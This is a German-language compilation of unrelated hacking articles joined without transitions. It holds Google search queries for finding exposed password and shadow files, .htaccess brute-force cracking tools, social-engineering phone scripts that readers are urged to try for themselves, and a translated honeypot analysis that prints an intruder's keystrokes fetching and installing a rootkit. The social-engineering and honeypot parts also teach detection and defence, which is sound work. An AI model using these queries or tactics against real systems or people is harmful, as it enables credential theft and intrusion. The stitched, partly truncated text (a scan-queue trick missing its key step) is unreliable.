#1. Vorwort
#2. Wie funktioniert Google?
#3. Einige wichtige Befehle
#4. Richtige Kombination
#5. Passwörter suchen und finden
#6. Web Server Detection
#7. Weitere sensible Daten
#8. Quellen
#1. Vorwort

#2. Wie funktioniert Google?
Google ist zu nächst mal eine voll automatische Suchmaschine, die mit Hilfe von so
genannten Spidern (Webcrawler/Suchrobotern), das
gesamte Web durchsucht und die gefunden Websites indiziert. D.h. es ist eigentlich nicht
mal notwendig seine Website bei Google anzumelden, die Suchrobots werden sie früher
oder später sowieso finden.

#3. Einige wichtige Befehle
Bevor wir gleich zum “Google hacking” übergehen einige wichtige Befehle, die man in
seinem Google Query nutzen kann.
filetype:
Mit filetype lassen sich bestimmte Dateitypen finden.
Bsp: filetype:txt
+
Mit + lassen sich alle Webseiten finden, die ein bestimmtes Wort enthalten.
Bsp: +FBI +Agent
-
Mit – werden nur Seiten gefunden, die ein bestimmtes Wort nicht enthalten.
Bsp: -public –user
intitle:
Per Intitle: lässt sich das <title> tag durchsuchen.
Bsp: intitle:index
intext:
Mit intext: findet man bestimmte Wörter auf einer Webseite.
Bsp: intext:Hacker
inurl:
Über inurl: lassen sich Wörter in einer URL festlegen.
Bsp: inurl:etc inurl:bin
site:
Mit site: kann man auf bestimmten Domains suchen.
Bsp: site:com site:de
“”
Mit “” lassen sich aufeinander folgende Wörter suchen.
Bsp: “index of”

#4. Richtige Kombination
Das die oben genannten Befehle alleine nicht viel bringen dürfte klar sein, also müssen
wir kombinieren.
Bsp:
intitle:”index of” +etc
Über solche Ergebnisse kann man sich nur wundern!
Warum gibt es immer noch Systeme auf denen man ohne Probleme sich über Google, die
passwd anschauen kann? Für potenzielle Cracker sind solche Umstände ein El Dorado.
Achtung: Viele vermeintliche, für Google Hacking anfällige Systeme könnten auch sog.
Honeypots sein (http://ghh.sourceforge.net/).
„Als ein Honeypot (deutsche Übersetzung: Honigtopf) wird ein Programm (oder ein
kompletter Server) bezeichnet, das die Aufgabe hat, Angriffe in einem Netzwerk auf sich
zu ziehen und Aktionen des Angreifers zu protokollieren.“

http://de.wikipedia.org/wiki/Honeypot

#5. Passwörter suchen und finden
Mit Google lässt sich alles finden, auch oder geradezu Passwörter.
Einige Beispiele:
filetype:dat “password.dat”
filetype:ini +ws_ftp +pwd
filetype:log inurl:”password.log”
intitle:Index.of etc shadow
intitle:”Index of..etc” passwd

#6. Web Server Detection (Webserver Erkennung)
Es ist dank Google kein Problem mehr Webserver zu identifizieren.
Einige Beispiele:
“Microsoft-IIS/5.0 server at”
intitle:”Apache HTTP Server” intitle:”documentation”
intitle:”Welcome to IIS 4.0″
“powered by openbsd” +”powered by apache”

#7. Weitere sensible Daten in diversen Verzeichnissen
Was man nicht so alles findet…
Einige Beispiele:
intitle:index.of.private
intitle:index.of.secret
intitle:”index.of.secure”

#8. Quellen

http://johnny.ihackstuff.com/

http://www.google.de/

http://de.wikipedia.org/

Ihr kennt das sicher: jemand schickt euch eine Datei und ihr wollt sie auf Viren überprüfen.

Ihr geht also auf http://virusscan.jotti.org/, da man dort Dateien kostenlos von vielen Scannern scannen lassen kann und die Ergebnisse schön übersichtlich geliefert bekommt. Allerdings gibt es einen Haken: die ewige Wartezeit, weil der Service ständig überlastet ist.

Doch damit ist nun Schluss, denn es gibt einen einfachen Weg, die Wartezeit zu umgehen:

Nun öffnet ihr die Datei mit einem beliebigen Browser und öffnet die zu scannende Datei mithilfe des “Durchsuchen…”-Buttons und klickt auf “Datei uploaden + scannen”!

Die angegebene Datei wird dann ganz normal hochgeladen und gescannt!

Einführung

Dieses Passwort-Abfrage-System wurde ursprünglich von Apache-Servern eingesetzt, und konnte sich mittlerweile auf allen Serversystemen etablieren. Er bietet einen recht guten Schutz, und wird deshalb oft auf gebührenpflichtigen Seiten mit pornographischem Inhalt benutzt. Eine Website, die HTACCESS einsetzt, ist daran zu erkennen, dass bei betreten des Mitgliedsbereichs ein Popup-Dialog erscheint (nicht durch ein JavaScript generiert).

Der Aufbau von .HTACCESS-Dateien

In dem zu schützenden Verzeichnis ist eine Datei mit dem Namen .htaccess enthalten, welches für die Verwaltung der Passwörter zuständig ist: Wo liegen die Passwörter? Wie muss das Verzeichnis geschützt werden?

Ein .htaccess-File sieht mit einem Texteditor betrachtet so aus:

AuthUserFile /usr/home/meindir/passwd
AuthName Members
AuthType Basic

require valid-user

Aus dieser Datei ist nun ersichtlich, dass die Passwörter in der Datei passwd gespeichert werden, welche sich in meinem Home-Directory befindet. Sicherheitshalber sollte das Passwort-File nicht in der Nähe der HTML-Dokumente liegen, da dadurch ein Zugriff via WWW verunmöglicht wird. Bei der AuthName-Zeile ist der Titel der Dialogbox ersichtlich: Der zu schützende Bereich wird den Namen Members tragen. Das interessante am HTACCESS-Schutz ist, dass durch das HTACCESS-File automatisch auch alle Unterverzeichnisse unterhalb des Verzeichnisses, in dem sich die HTACCESS-Datei befindet, mitgeschützt sind.

Der Aufbau einer Passwort-Datei

Wie sieht nun die Passwort-Datei selber aus? Im Folgenden eine mögliche Passwort-Datei:

Prometheus:jnjQcF1WWpn8w
Manson:EqiRz2/cDdTjw
Rieekan:hGaVqYhVIi9ek

Für jedes Mitglied enthält die Passwortdatei eine Zeile, die aus zwei Teilen besteht, die durch einen Doppelpunkt getrennt sind, wie man es von den passwd-Dateien von Unix-Systemen her kennt. Der erste Teil ist der Login-Name, der zweite Teil enthält das Passwort in verschlüsselter Form. Diese Verschlüsselung ist sehr sicher. Sie ist maschinenspezifisch, und durch eine Falltürfunktion generiert worden. Das heisst, dass selbst wenn man diese Passwortdatei in die Finger bekommen würde, könnte man aus den verschlüsselten Passwörtern nicht die wirklichen Passwörter zurückberechnen. Bei der Passworteingabe wird das Passwort durch die Unix-Systemfunktion “crypt” kodiert und mit dem in der Passwortdatei abgelegten verschlüsselten Passwort verglichen. Ist es gleich, so ist der Login ok.

Angriffsmöglichkeiten

HTACCESS-Abfragen sind meist nur mit einer Brute-Force-Attacke knackbar. Das beste Tool für solche Zwecke ist mit Sicherheit UnSecure, wobei WWWHack mir auch schon gute Dienste leisten konnte.

Versucht das ganze, was ihr jetzt lesen werdet ruhig auch mal umzusetzen. Ihr werdet erstaunt sein, wie viele Menschen euch ihre Passwörter einfach preisgeben werden. Kevin Mitnick zB. hat einen Großteil seiner ‘Einbrüche’ nur mit Hilfe von Social Engeneering verübt. Ihr solltet nur aufpassen, das ihr keine auffällige Kinderstimme habt (an alle 12 jährigen 1337-Kiddies).

Definition

Das Social Engineering (dt.: Soziale Manipulation) ist eine Spionageattacke, die sich auf sozialer Ebene abspielt. Ein Social Engineer versucht sein Opfer so zu manipulieren, dass es ihm die Informationen gibt, die er haben möchte. Dies kann schwere Folgen haben, da der Social Engineer meist auf geheime, sicherheitsrelevante Informationen aus ist und er sich das schwächste Glied eines Unternehmens aussucht – die Mitarbeiter. Durch die nicht technische Vorgehensweise werden dann ausgeklügelte technische Sicherheitsvorkehrungen mit einem Schlag wertlos. Solche Angriffe, auf nichts-ahnende Personen, werden nach dem Geschehen auch nur sehr selten bemerkt und deshalb ist es notwendig die Mitarbeiter zu schulen. Grundsätzlich wird dieses Thema in 3 verschiedene Bereiche gegliedert:
Das Computer Based Social Engineering, das Human Based Social Engineering und das Reverse Social Engineering.

Der Unterschied ist folgender:
Das Computer Based Social Engineering wird den meisten Leuten wohl im Internet begegnen. Lästige PopUps – wer kennt sie nicht – springen auf und geben vor, dass man bei irgendeiner Verlosung, bei einem Gewinnspiel oder sonstigem gewonnen hat. Lässt man sich davon beeindrucken, so führt der Weg z.B. zu einem Formular, in dem man seine persönlichen Daten eintragen soll und dann nur den kleinen Submit-Button betätigen muss, um den großen Gewinn geliefert zu bekommen. Das wird höchst wahrscheinlich bei keiner dieser PopUp Meldungen der Fall sein (Warum auch? Sie haben ja eine Seite betreten und (wahrscheinlich) nicht einmal an einem solchen Gewinnspiel teilgenommen.)

Das Human Based Social Engineering versucht eher Informationen auf direktem Wege zu erhalten. So durchwühlen Informationsbegehrte z.B. die Mülltonnen einer Firma (Sie glauben gar nicht wie viele Informationen ein Social Engineer dabei ergattert), geben sich bei Telefonaten als ein Mitarbeiter einer anderen Abteilung aus, suchen innerhalb von Häusern nach Informationen oder beobachten die Zielpersonen. Mit diesem Bereich setze ich mich hier hauptsächlich auseinander.

Bei dem Reverse Social Engineering agiert der Angreifer als “Retter in der Not”. Er
verursacht ein Problem und behauptet anschließend derjenige zu sein, der damit beauftragt wurde, dasselbe zu lösen. Er geht dabei so raffiniert vor, dass der/die Mitarbeiter/in ihm jede Information verschafft, die er benötigt. Vor allem reagieren die Betroffenen immer sehr hilfsbereit, da man ja möglichst immer zur Seite stehen möchte, wenn jemand ein schwieriges Problem hat und er die benötigten Informationen zur Lösung nicht besitzt. Hierfür muss der Angreifer ebenfalls (wie bei den anderen beiden Bereichen) erst einmal Informationen sammeln, um sich dann am Telefon als Autoritätsperson ausgeben zu können.

Methoden

Die meisten Leute gehen davon aus, sie könnten erkennen wenn sie jemand manipulieren oder ihnen etwas vortäuschen will. So werden sie irgendwann einmal (und das mit Sicherheit, wenn es nicht schon passiert ist) zu einem Opfer einer Spionageaktion, da der Social Engineer die Schwächen des Menschen auszunutzen versucht, indem er z.B. ihr Vertrauen gewinnt oder auch die kleinsten Informationsteilchen ergattert, die dem Einzelnen vielleicht gar nicht als wichtig erscheinen, aber bei Zusammenfügen zu einem vollständigen Puzzle mit hohem Informationsgrad werden können, das bei Anwendung durchaus schwere Folgen für Firmen oder Privatleute haben kann. Hier ein paar Methoden eines Social Engineers:

Vertrauensgewinnung des “Opfers”
Kommunikation im Fachjargon des Unternehmens
Vortäuschen eine Autoritätsperson zu sein
Vortäuschung von verschiedenen Stimmungslagen (hektisch, ärgerlich, freundlich)
Selbst ein Problem verursachen und als “Retter in der Not” agieren
Personen ohne Fachwissen zu sicherheitsgefährdenden Aktionen bewegen
Durchsuchung von Müllanlagen der Zielperson/des Zielunternehmens
usw.

Beispielszenarien

Szenario 1 – Das neue Sicherheitssystem

Ich nenne den Social Engineer hier einmal Michael und das “Opfer” Jennifer.

Jennifer: Microsystems GmbH Frankfurt[*], schönen guten Tag, Sie sprechen mit Jennifer Meier.
Michael: Guten Tag Frau Meier, hier spricht Michael Lenden aus München. Ich bin zuständig für die Umstellung der Serversysteme hier bei Microsystems in München.
Jennifer: Was kann ich für Sie tun?
Michael: Ich benötige wohl einmal ihre ID, die OneCard Nummer und ihr Passwort.
Jennifer: OneCard Nummer? Sowas besitze ich nicht! Was soll das sein?
Michael: Oh, haben Sie denn noch nichts von der Änderung gehört?
Jennifer: Nein, welche Änderung?
Michael: Wir haben hier vor ein paar Tagen eine Umstrukturierung vorgenommen, um die Sicherheit der Kundendaten zu erhöhen. Das System ist nun durch eine doppelte Authentifizierung von ID und OneCard Nummer sicherer vor Zugriff unbefugter Personen. Jeder Mitarbeiter sollte eine OneCard Nummer in einer Email zugesendet bekommen haben, um sich authentifizieren zu können. Die Person, die die OneCard Nummern verschickt hat, ist nur leider für eine längere Zeit krank geschrieben und ich wurde beauftragt die weiteren Umstellungen für ihn vorzunehmen, habe aber leider die Liste der Mitarbeiterdaten nicht hier. Deshalb muss ich nun jeden Mitarbeiter danach fragen.
Jennifer: Ich würde Ihnen ja gerne helfen, aber ich habe eine solche Nummer nicht bekommen.
Michael: Komisch, die eMail müsste spätestens heute angekommen sein. Schauen Sie vielleicht bitte nocheinmal eben in Ihrem Postfach nach?
Jennifer: Ok, einen Moment – ah ja, da ist etwas gekommen – moment. Wie war der Name Ihres kranken Mitarbeiters doch gleich?
Michael: Stefan Beckenheim.
Jennifer: Ja, ich habe eine eMail von ihm bekommen. Ah ja, da ist ja die Nummer. Ich diktiere: 1-3-645-234-954. Sonst noch etwas?
Michael: Dann bräuchte ich nur noch Ihre ID und das Passwort.
Jennifer: Ok, die ID ist “Jenn” und der Passwort “JennMei”.
Michael: Ok, vielen Dank, ich werde dann nun Ihren Account auf das neue System umstellen.
Jennifer: Alles klar, vielen Dank. Bestellen Sie Ihrem Mitarbeiter bitte gute Besserung.
Michael: Werde ich machen. Wiederhören!

* Anmerkung:
Die Verwendung von bestehenden Firmennamen ist nicht beabsichtigt. Sie sind ausgedacht und stehen in keinerlei Zusammenhang mit existierenden Firmen.

Szenario 2 – Die Hilfestellung in der Not

Stellen Sie sich einmal eine Buchhalterin vor. Diese arbeitet den ganzen Tag am Computer, besitzt aber meistens kein Fachwissen über diesen. Nun ruft ein angeblicher Systemverwalter bei dieser Dame an und gibt vor, es gäbe einige Probleme mit Rechnern anderer Mitarbeiter und er wolle nun prüfen, ob sich bei ihrem Rechner dieselben Probleme zeigen. Er gibt ihr ein paar Anweisungen, was sie tun soll. Nach einigen Aktionen gibt er ihr die Aufgabe ihr eigenes Passwort zu ändern. Dieses solle sie tun, da man ein Update aufgesetzt hat, was das ermöglicht. Dazu solle sie ihm ihr altes allerdings auf keinen Fall laut nennen. Das neue Passwort soll nun “test123″ heißen. Sie ändert es und loggt sich aus. Nach einigen Minuten soll sie sich dann wieder einloggen. Er sagt zu ihr, dass es keine Probleme mit ihrem Computer gäbe und sie nun beruhigt ihr Passwort wieder ändern und mit ihrer Arbeit fortfahren könne. Sie ist sehr erleichtert, bedankt sich und legt auf.

Analyse

Szenario 1

Was ist hier passiert? Der Social Engineer hat sich als ein Mitarbeiter einer Abteilung in einer anderen Stadt, jedoch des gleichen Unternehmens, ausgegeben. Er hat die “Mitarbeiterin” mit einer angeblichen Änderung im System konfrontiert. Da es sich hierbei, wie so oft, um eine sicherheitsrelevante Änderung gehandelt und er ihr dieses “neue System” geläufig gemacht hat, wurde schon die erste Vorstufe zum Vertrauen errichtet. Dann erzählte er ihr von dem kranken Mitarbeiter, für den er seine Aufgaben nun erledigen sollte. Er gab vor, keine Informationen über die Daten (“OneCard Nummer”, ID, Passwort) der Mitarbeiter vorliegen zu haben und nun die Hilfe der Mitarbeiter selbst benötige. Hier sieht man – zwar nicht so ausgeprägt wie es sein könnte -, die Methoden des Social Engineers, nämlich die Vertrauensgewinnung (durch Status(Rang), benötigen von Hilfe, u.a.), Hilfestellung (hier: in Form der Aufklärung über das neue System) und die Überzeugung der Tatsache dadurch, dass die Mitarbeiterin eine persönliche Email erhalten hat. Diese Email war natürlich nur ein Fake und der erkrankte Mitarbeiter existiert auch nicht, aber beides verschaffte dem Angreifer Vertrauen vom “Opfer”. Die “OneCard Nummer” war auch eine erdachte Geschichte und sollte nur zur Ablenkung und Vertrauensgewinnung für die wirklich wichtigen Informationen sein, nämlich der ID und des Passworts, mit denen der Angreifer nun Zugriff auf das System hat und sich vielleicht sogar durch Schwachstellen eine (noch) höhere Authentität erringen kann.

Szenario 2

Der Social Engineer agiert hierbei als Retter vor/in der Not. Er gibt der Dame einige Anweisungen, um festzustellen, ob ihr Rechner dieselben Symptome aufzeigt oder nicht. Dazu muss sie ihr Passwort ändern. Er sagt allerdings zu ihr, dass sie ihr altes Passwort auf keinen Fall vorlesen solle. Damit erhält der Angreifer wiedereinmal Vertrauen und Gläubigkeit des “Opfers”. Sie schöpft also keinen Verdacht von irgendeinem Spionageangriff. In der Zwischenzeit aber, als die Dame sich vom System abgemeldet hat, hat der Social Engineer genügend Zeit, um sich selbst anzumelden (das Passwort ist ja nun “test123″) und ein Trojanisches Pferd zu installieren. Nach einigen Minuten loggt die Dame sich dann wieder ein und ist froh, als ihr der angebliche Systemverwalter ihr mitteilt, dass ihr System nicht von den Problemen betroffen ist und sie nun wieder mit ihrer Arbeit fortfahren könnte. Der Angreifer hat durch dieses von ihm entworfene Programm vollen Zugriff auf die Ressourcen der Frau. Er könnte nun alle möglichen (, sensiblen!?) Daten einsehen und so mehr über die Abläufe in der Firma lernen, um so vielleicht weitere Social Engineering Attacken auf diese Firma auszuüben!

Schutzmaßnahmen

Da Angriffe eines Social Engineers auch (noch) schwerere Folgen haben können als in den obigen Beispielen gezeigt, ist es wichtig, die Mitarbeiter einer Firma über solcherlei Befragungen aufzuklären, damit sie davor geschützt werden können. Außerdem sollten Sicherheitsrichtlinien eingeführt werden, die z.B. verbieten, einer Person, die sich als Mitarbeiter ausgibt, Daten mitzuteilen, ohne die Identität und die Befugnis der Person zu überprüfen. Das Hauptziel ist fast immer ein Passwort. Deshalb sollten die Mitarbeiter darin geschult werden, kein Vertrauen aufzubauen, alles in Frage zu stellen und niemals Passwörter oder Informationen über Mitarbeiter weiterzugeben. Falls dieses Weitergabe wirklich nötig ist, um z.B. eine reale Umstellung der Systeme durchzuführen, so sollten diese Daten am besten gar nicht erst telefonisch, sondern nur mit direktem Kontakt oder über firmeninterne Medien übergeben werden, die nicht in Verbindung mit außerfirmlichen Medien wie z.B. dem Internet zusammenhängen.

Wichtige Daten sollten nur an einen kleinen Personenkreis weitergegeben werden, der diese wirklich benötigt und der darin geschult ist, damit vorsichtig und achtsam umzugehen. Daten, die einem selbst vielleicht als unwichtig erscheinen, sollten trotzdem ohne Anfrage nach dem Verwendungszweck und Identitätsprüfung der Person auf der anderen Seite auf keinen Fall weitergegeben werden. Auch sollte jeder in der Lage sein, beurteilen zu können, ob diese Informationen in Verbindung mit anderen zu einem Sicherheitsrisiko für die Firma werden können und ob “der Gegenüber” für das Besitzen dieser Informationen wirklich befugt ist. Die beste Vorsorge ist aber, den Mitarbeitern keinen Zugang zu diesen Informationen zu geben, sondern nur einer Person, die sehr gut damit umgehen kann und die Methoden eines Social Engineers erkennt und ins Leere laufen lässt. Das Entsorgen von Papier sollte erst nachgründlichem Schreddern geschehen.

Andere Vorsichtsmaßnahmen sollten auch getroffen werden, die aber mehr zur Sicherung der EDV-System gehören. So sollten Passwörter in regelmäßigen Abständen von 2-4 Wochen geändert werden und aus Groß-, Kleinbuchstaben, Sonderzeichen, Zahlen und mindestens 8 Stellen bestehen. Die Systeme sollten auch einen Viren- bzw. Trojanerscanner beinhalten, der in kurzen Abständen von bis zu 3 Tagen aktualisiert werden. Sicherheitsrelevante Daten sollten erschlüsselt werden und nur innerhalb des Firmennetzwerkes verfügbar sein. Damit sollte der Schutz gegen die meisten Angriffe eines Social Engineers gesichert sein.
Weitere Sicherheitsmaßnahmen innerhalb der Gebäudearchitektur sind z.B. die Installierung von Kameras und Retinascannern (Stichwort: Biometrie). Ansonsten sollte man eventuell eine Karte einführen, die jeder Mitarbeiter erhält und womit sich jeder Mitarbeiter beim Beginn und Ende eines Arbeitstages ein- und auschecken sollte. Gäste sollten eine provisorische Karte erhalten und sich in einer Liste eintragen.

All diese Sicherheitsmaßnahmen bringen aber keinen Nutzen, wenn ein Mitarbeiter nicht versteht, warum sie eingeführt werden und was damit überhaupt verhindert wird. Deshalb sollten spezielle Trainingsseminare durchgeführt werden, wo sie dieses erlernen und anhand von Beispielen verstehen. Diese Seminare sollten nicht einmalig durchgeführt werden; in regelmäßigen Abständen sollten Ihre Mitarbeiter erinnert werden und an diesen Seminaren teilnehmen.

Literatur

Die Kunst der Täuschung (ISBN: 3-8266-0999-9, Verlag: mitp)
Google: Social Engineering

Dies ist der dritte Artikel aus einer Serie, die sich auf das Script Kiddie
konzentriert. Der erste Teil beschäftigt sich damit, wie Script Kiddies
Schwächen suchen, identifizieren und ausnutzen. Der zweite Teil erklärt, wie man
solche Versuche erkennt, die eingesetzten Tools identifiziert und erkennt,
wonach gesucht wird. Dieser Teil, der dritte, konzentriert sich darauf, was
passiert, wenn sie erst mal root sind und hier besonders darauf, wie sie ihre
Spuren verwischen und was sie als nächstes tun.

Wer ist das “Script Kiddie”?
wie bereits im ersten Teil erklärt, ist das “Script Kiddie” nicht so sehr eine
Person als vielmehr eine Strtegie: die Strategie, nach dem schnellen Erfolg zu
suchen. Man sucht nicht nach speziellen Informationen oder greift eine spezielle
Firma an, es geht nur darum, so einfach wie möglich root zu werden.
Eindringlinge versuchen das, indem sie sich auf eine kleine Anzahl Schwächen
beschränken und dann das ganze Internet danach absuchen. Dies ist nicht zu
unterschätzen, denn früher oder später finden sie jemand verwundbaren.

Wenn sie erstmal ein verwundbares System gefunden haben und root geworden sind,
werden normalerweise als erstes die Spuren verwischt. Sie möchten sichergehen,
dassDu nicht weißt, dass dein System gehackt wurde und dass Du ihre Aktionen nicht
sehen oder loggen kannst. Danach benutzten sie dein System oft, um andere
Netzwerke zu scannen oder überwachen dein System im Stillen. Um besser zu
verstehen, wie sie dieses bewerkstelligen, folgen wir einfach den Schritten auf
einem System das von einem Eindringling mit Hilfe von “Script Kiddie”-Taktiken
geknackt wurde. Unser System namens Mozart läuft unter Red Hat Linux 5.1 und
wurde am 27.04.1999 kompromittiert. Es folgen die tatsächlichen Schritte, die
der Störenfried gemacht hat, mit den Systemlogs und Tastatureingaben um jeden
Schritt nachvollziehen zu können. Alle Systemlogs wurden auf einem geschützten
Syslogserver abgelegt und alle Eingaben wurden mit Hilfe von sniffit
(ftp://ftp.technotronic.com/unix/network-sniffers) aufgezeichnet. Mehr
Informationen darüber, wie die Informationen gesammelt wurden stehen in “Wie
baut man einen Honigtopf” (http://www.enteract.com/~lspitz/honeypot.html). Im
folgenden wird der Eindringling immer als “er” bezeichnet, obwohl wir keine
Ahnung über das tatsächliche Geschlecht des Täters haben.

Der Angriff
Am 27.04. um 00:13 Uhr wurde unser Netzwerk von einem System 1Cust174.tnt2.long-
branch.nj.da.uu.net auf verschiedene Schwächen inklusive nmap gescannt. Unser
Eindringling hat dabei “Lärm” gemacht, da jedes unserer Systeme getestet wurde
(mehr Informationen über das erkennen und analysieren solcher Scans finden sich
im zweiten Teil).

Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174

Anscheinend hat er etwas gefunden, was ihm gefallen hat, denn er kam am gleichen
Tag noch um 06:52 und 16:47 Uhr zurück. Er begann mit einem intensiveren Test
und konzentrierte sich dabei auf das System Mozart. Er fand eine Schwäche und
startete einen erfolgreichen Angriff gegen mountd, eine allgemein bekannte
Schwachstelle in Red Hat 5.1. Hier kann man in /var/log/messages sehen, wie der
Eindringling root wurde. Das Tool, das er dazu benutzte war wahrscheinlich
ADMountd.c /ftp://adm.freelsd.net/pub/ADM) oder etwas ähnliches.

Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client
208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to
mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~

Direkt im Anschluß sehen wir in /var/adm/messages, wie unser Eindringling root
wurde, indem er sich per Telnet als User crak0 einloggte und sich dann per su
zum User rewt machte. Beide Accounts wurden durch das Angriffsskript angelegt.
Jetzt hat er volle Kontrolle über das System.

Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM
1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the
underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user
crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM
1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt
by crak0(uid=0)

Spuren verwischen

Der Fremde ist jetzt als root im System. Wie wir jetzt sehen werden, ist sein
nächster Schritt sicherzustellen, das er nicht erwischt wird. Als erstes prüft
er, ob noch andere User angemeldet sind:

[crak0@mozart /tmp]$ w
4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
crak0 ttyp0 1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w

Nachdem er festgestellt hat, daß er allein ist, wird alle seine Taten unsichtbar
machen wollen. Das bedeutet normalerweise, das er alle Beweise aus den Logfiles
löscht und Systemdateien wie ps oder netstat durch Trojanische Pferde ersetzt,
so daß man ihn im System nicht erkennen kann. Sind die Trojaner erst einmal
installiert, hat er die totale Kontrolle über das System und Du wirst es sehr
wahrscheinlich niemals herausbekommen. Genauso, wie es Skripte zum
automatisiertem Hacken gibt, gibt es auch Skripte zum automatischen verstecken
von Eindringlingen, oft rootkits genannt. Eines der gebräuchlicheren ist lrk4
(ftp://ftp.technotronic.com/unix/trojans). Durch das Ausführen des Skripts
werden eine Reihe kritischer Dateien ersetzt und tarnen den User in wenigen
Sekunden. Mehr Informationen über rootkits finden sich im Readme von lrk4.
Dadurch bekommt man eine bessere Vorstellung wie diese rootkits im allgemeinen
funktionieren. Ich würde auch empfehlen, hide-and-seek
(http://www.enteract.com/~lspitz/hide-n-seek.html) zu lesen, ein Text über das
Spuren verwischen, geschrieben von den Bösen.

Innerhalb weniger Minuten, nachdem das System kompromittiert war, konnte man
beobachten, wie der Eindringling das rootkit herunterlud und mit “make install”
implementierte. Es folgen seine tatsächlichen Tastatureingaben um sich
unsichtbar zu machen:

cd /dev/
su rewt
mkdir “. ”
cd “. ”
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc “. ”
cd “. ”
ls
make install

Beachte, daß er als erstes ein verstecktes Verzeichnis “.” erzeugt, um darin
sein rootkit zu verstecken. Dieses Verzeichnis taucht beim “ls” Befehl nicht auf
und sieht bei einem “ls -la” wie das lokale Verzeichnis aus. Eine Möglichkeit
dieses Verzeichnis zu finden ist das “find” Kommando (stelle sicher, daß Du der
Integrität deiner “find” Datei vertrauen kannst):

mozart #find / -depth -name “*.*”
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/.

Unser Störenfried mag ja gut im Umgang mit Trojanern sein, aber sein Ansatz um
die Logdateien zu säubern, war etwas einfacher gestrickt. Anstatt Tools wie zap2
oder clean zu nutzen, kopierte er einfach /dev/null in die Dateien /var/run/utmp
und /var/log/utmp und löschte /var/log/wtmp. Man ahnt, daß etwas faul ist, wenn
diese Dateien leer sind oder man den folgenden Fehler bekommt:

[root@mozart sbin]# last -10
last: /var/log/wtmp: No such file or directory
Perhaps this file was removed by the operator to prevent logging last
info.

Der nächste Schritt

Wenn Eindringlinge erst einmal ein System kompromittiert haben, neigen sie dazu,
eines von zwei Dingen zu tun. Entweder sie benutzen das System dazu, andere
Rechner im Internet zu scannen oder sie machen es sich gemütlich und sehen zu,
was sie über Dein System lernen können, z.B. Accounts oder Passwörter für andere
Systeme. Unser Eindringling entschied sich für die zweite Variante: zurücklehnen
und sehen, was man lernen kann. Er installierte einen Sniffer, der unseren
gesamten Netzwerkverkehr abfing, inklusive der Telnet und ftp Verbindungen zu
anderen Systemen. Auf diese Weise konnte er Logins und Passwörter in Erfahrung
bringen. In /var/log/messages sehen wir, wie das System kurz nach dem Einbruch
in den “promiscuous mode” geht:

Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.

Nachdem er seine Trojaner-Binaries installiert, die Logs gesäubert und den
Sniffer gestartet hatte, trennte der Eindringling die Verbindung. Wir werden ihn
jedoch am nächsten wiederkehren sehen, um herauszufinden, was für Verkehr er
aufgefangen hatte.

Schadensbegrenzung
Da unser Freund die Verbindung gekappt hatte, bekam ich die Möglichkeit das
System zu prüfen und herauszufinden was genau geschehen war. Ich war sehr daran
interessiert herauszufinden, was verändert worden war und wo er die
Informationen, die der Sniffer sammelte, ablegte. Zuerst fand ich mit Hilfe von
tripwire (ftp://coast.cs.purdue.edu/pub/COAST/Tripwire) schnell heraus, welche
Dateien modifiziert waren. Anmerkung: stelle sicher, das tripwire von der
sicheren Quelle gestartet wird. Ich lasse gerne eine statisch gelinkte Version
von einer Floppy mit Schreibschutz laufen. Tripwire zeigte folgendes:

added: -rw-r–r– root 5 Apr 27 17:01:16 1999
/usr/sbin/sniff.pid
added: -rw-r–r– root 272 Apr 27 17:18:09 1999
/usr/sbin/tcp.log
changed: -rws–x–x root 15588 Jun 1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998
/usr/bin/killall
changed: -rws–s–x root 116352 Jun 1 20:25:47 1998 /usr/bin/chfn
changed: -rws–s–x root 115828 Jun 1 20:25:47 1998 /usr/bin/chsh
changed: drwxr-xr-x root 4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x root 137820 Jun 5 09:35:06 1998 /usr/sbin/inetd
changed: -rwxr-xr-x root 7229 Nov 26 00:02:19 1998
/usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root 170460 Apr 24 00:02:19 1998
/usr/sbin/in.rshd
changed: -rwxr-x— root 235516 Apr 4 22:11:56 1999
/usr/sbin/syslogd
changed: -rwxr-xr-x root 14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
changed: drwxr-xr-x root 2048 Apr 4 16:52:55 1999 /sbin
changed: -rwxr-xr-x root 19840 Jul 9 17:56:10 1998 /sbin/ifconfig
changed: -rw-r–r– root 649 Apr 27 16:59:54 1999 /etc/passwd

